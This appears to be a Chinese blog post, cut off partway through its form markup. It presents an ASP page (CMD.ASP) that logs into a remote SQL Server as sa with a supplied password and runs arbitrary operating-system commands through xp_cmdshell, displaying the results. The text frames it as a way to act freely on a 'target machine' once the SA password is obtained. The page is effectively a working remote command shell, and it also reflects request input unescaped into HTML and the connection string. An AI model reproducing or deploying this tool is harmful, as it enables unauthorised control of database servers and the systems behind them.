XP_CMDSHELL存储过程是执行本机的CMD命令，要求系统登陆有SA权限，也就是说如果获得SQLSERVER的SA命令，那就可以在目标机为所欲为了，知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。
下面是我写的一个简单的应用页面(asp)，代码如下。
CMD.ASP
<%@LANGUAGE="VBSCRipT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>SQLSERVER_XP_CMDSHELL实例_魔术师·刘</title>
<style type="text/CSS">
<!--
body{
font-size:13px;
line-height:20px;
width:760;
SCROLLBAR-FACE-COLOR: #2896e1;
SCROLLBAR-SHADOW-COLOR: #6cb4d8;
SCROLLBAR-ARROW-COLOR: #f0f0f0;
SCROLLBAR-DARKSHADOW-COLOR: #2896e1;
SCROLLBAR-BASE-COLOR: #2896e1;
background-image: url(images/bg.gif);
}
.LBR{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:1px solid #336699;
border-bottom:1px solid #336699;
}
.all_h {
border: 1px solid #336699;
}
.input {
border: 1px solid #336699;
background-color:#ECEAFD;
}
.LB{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:0px solid #336699;
border-bottom:1px solid #336699;
}
.N1 {font-weight:bold;color:#339933;font-size:13px;}
.N2 {font-weight:bold;color:#ff0000;font-size:13px;}
-->
</style>
</head>
<body>
<%if request("cmd")<>"" then%>
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL请求结果</span></td>
</tr>
<%
dim connstr,conn,rs,i
ConnStr="PRovider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"
'ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"
set conn=Server.CreateObject("ADODB.Connection")
conn.open Connstr
set rs=server.CreateObject("ADODB.Recordset")
set rs=conn.execute("xp_cmdshell '"&replace(replace(request("cmd"),"'","''"),chr(34),"''")&"'")
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"
else
response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"
end if
i=i+1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name="form1" method="post" action="">
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 colspan=2 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL实例</span></td>
</tr>
<tr align=center bgcolor=#DEF3FF>
<td width=26% class=LB><strong>服务器</strong></td>
<td width=74% class=LBR><div align="left">
<input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">
</div></td>
</tr>
<tr align=center >
<td class=LB><b>SA密码 </b></td>
<td class=LBR><div align="left"><span class=N1>
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